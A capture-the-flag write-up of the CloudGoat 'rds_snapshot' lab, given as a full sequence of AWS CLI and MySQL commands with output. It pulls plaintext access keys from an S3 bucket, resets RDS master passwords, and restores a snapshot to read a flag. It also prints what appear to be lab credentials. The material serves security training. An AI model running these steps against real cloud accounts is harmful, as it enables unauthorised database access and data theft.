Warning Spoilers!
This is a write up the CloudGoat scenario rds_snapshot scenario and was created by the Best of the Best 12th CGV Team (Yong Siwoo, Park Do Kyu, Park Seo Hyun, Jung Ho Shim, Chae Jinsoo).
Installation
git clone https://github.com/RhinoSecurityLabs/cloudgoat.git
cd cloudgoat
pip3 install -r ./requirements.txt
chmod +x cloudgoat.py
./cloudgoat.py config profile
Scenario
The goal of the scenario is to retrieve a secret from the RDS database.
./cloudgoat.py create rds_snapshot
ssh -i rds_snapshot_cgidc0xlco765g/cloudgoat [email protected]
# $
aws sts get-caller-identity
# {
# "UserId": "AROAZ6IIT5XU7WKWZP374:i-057db555d9522427b",
# "Account": "0123456789",
# "Arn": "arn:aws:sts::0123456789:assumed-role/cg-ec2-admin-role/i-057db555d9522427b"
# }
Enumerate permissions of the IAM role
aws iam list-attached-role-policies --role-name cg-ec2-admin-role
# None
aws iam list-role-policies --role-name cg-ec2-admin-role
# "PolicyNames": [
# "cg-ec2-admin-policy"
# ]
aws iam get-role-policy --role-name cg-ec2-admin-role --policy-name cg-ec2-admin-policy
# {
# "RoleName": "cg-ec2-admin-role",
# "PolicyName": "cg-ec2-admin-policy",
# "PolicyDocument": {
# "Version": "2012-10-17",
# "Statement": [
# {
# "Action": [
# "s3:*",
# "iam:List*",
# "iam:Get*"
# ],
# "Effect": "Allow",
# "Resource": "*"
# }
# ]
# }
# }
Look like we have full access to S3 lets see what buckets exist.
aws s3 ls
# 2023-12-15 19:08:32 cg-data-s3-bucket-rds-snapshot-cgidc0xlco765g
aws s3 ls cg-data-s3-bucket-rds-snapshot-cgidc0xlco765g
# 2023-12-15 19:08:48 86 access_keys.txt
aws s3 cp s3://cg-data-s3-bucket-rds-snapshot-cgidc0xlco765g/access_keys.txt .
# download: s3://cg-data-s3-bucket-rds-snapshot-cgidc0xlco765g/access_keys.txt to ./access_keys.txt
cat access_keys.txt
# Access Key: AKIAZ6IIT5XUUUPVUJXU, Secret Key: BDDHm6M9YiorOQpl4T5N7CB13LOvGoe5FJH+r6SV
New credentials, create a new shell an export them to your local environment
export AWS_ACCESS_KEY_ID=AKIAZ6IIT5XUUUPVUJXU
export AWS_SECRET_ACCESS_KEY=BDDHm6M9YiorOQpl4T5N7CB13LOvGoe5FJH+r6SV
aws sts get-caller-identity
# {
# "UserId": "AIDAZ6IIT5XU6LVTS4PE7",
# "Account": "0123456789",
# "Arn": "arn:aws:iam::0123456789:user/cg-rds-instance-user-rds_snapshot_cgidc0xlco765g"
# }
Lets enumerate what permissions of the user
aws iam list-attached-user-policies --user-name cg-rds-instance-user-rds_snapshot_cgidc0xlco765g
# None
aws iam list-user-policies --user-name cg-rds-instance-user-rds_snapshot_cgidc0xlco765g
# "PolicyNames": [
# "cg-david-policy"
# ]
aws iam get-user-policy --user-name cg-rds-instance-user-rds_snapshot_cgidc0xlco765g --policy-name cg-david-policy
# {
# "UserName": "cg-rds-instance-user-rds_snapshot_cgidc0xlco765g",
# "PolicyName": "cg-david-policy",
# "PolicyDocument": {
# "Version": "2012-10-17",
# "Statement": [
# {
# "Action": [
# "rds:DescribeDBInstances",
# "rds:AddTagsToResource",
# "rds:DescribeDBSnapshots",
# "rds:RestoreDBInstanceFromDBSnapshot",
# "rds:ModifyDBInstance",
# "iam:Get*",
# "iam:List*"
# ],
# "Effect": "Allow",
# "Resource": "*"
# }
# ]
# }
# }
The user has access to view RDS instance information
aws rds describe-db-instances
# "DBInstanceIdentifier": "cg-rds"
# "MasterUsername": "cgadmin"
# "Engine": "mysql"
# "EngineVersion": "5.7.42"
# "Endpoint": {
# "Address": "cg-rds.cjjmy1nlvb2o.us-east-1.rds.amazonaws.com",
# "Port": 3306
# }
dig +short cg-rds.cjjmy1nlvb2o.us-east-1.rds.amazonaws.com
# ec2-3-216-43-203.compute-1.amazonaws.com.
# 3.216.43.203
aws rds modify-db-instance --db-instance-identifier cg-rds --master-user-password password123
# {...}
From the EC2 instance login to the database
mysql -h cg-rds.cjjmy1nlvb2o.us-east-1.rds.amazonaws.com -u cgadmin -ppassword123
# mysql>
SHOW DATABASE;
# +--------------------+
# | Database |
# +--------------------+
# | information_schema |
# | cgdatabase |
# | innodb |
# | mysql |
# | performance_schema |
# | sys |
# +--------------------+
USE mysql; SHOW TABLES;
# Lots of tables, but there is a `user` table
SELECT * FROM user;
# Don't see a flag in here
USE cgdatabase; SHOW TABLES;
# Nothing
Maybe its in the snapshot?
aws rds describe-db-snapshots
# "DBSnapshotIdentifier": "cg-rds-snapshot"
# "DBSnapshotArn": "arn:aws:rds:us-east-1:0123456789:snapshot:cg-rds-snapshot"
# "TagList": [
# {
# "Key": "Name",
# "Value": "cg-rds_snapshot-rds_snapshot_cgidc0xlco765g"
# }
# ]
aws rds restore-db-instance-from-db-snapshot \
--db-instance-identifier cg-rds-copy \
--db-snapshot-identifier cg-rds-snapshot \
--db-instance-class db.t3.small \
--db-subnet-group-name cg-db-subnet-group \
--vpc-security-group-ids sg-0ccd2eacfca848daf
aws rds modify-db-instance --db-instance-identifier cg-rds-copy --master-user-password password123
# "MasterUsername": "cgadmin"
# cg-rds-copy.cjjmy1nlvb2o.us-east-1.rds.amazonaws.com
mysql -h cg-rds-copy.cjjmy1nlvb2o.us-east-1.rds.amazonaws.com -u cgadmin -ppassword123
# mysql>
USE cgdatabase;
SHOW TABLES;
# +----------------------+
# | Tables_in_cgdatabase |
# +----------------------+
# | flag |
# +----------------------+
SELECT * FROM flag;
# +----+-------------------------------+
# | id | value |
# +----+-------------------------------+
# | 1 | flag{cg-secret-...} |
# +----+-------------------------------+
This scenario is now completed!
Cleanup
aws rds delete-db-instance --db-instance-identifier cg-rds-copy --skip-final-snapshot
./cloudgoat.py destroy rds_snapshot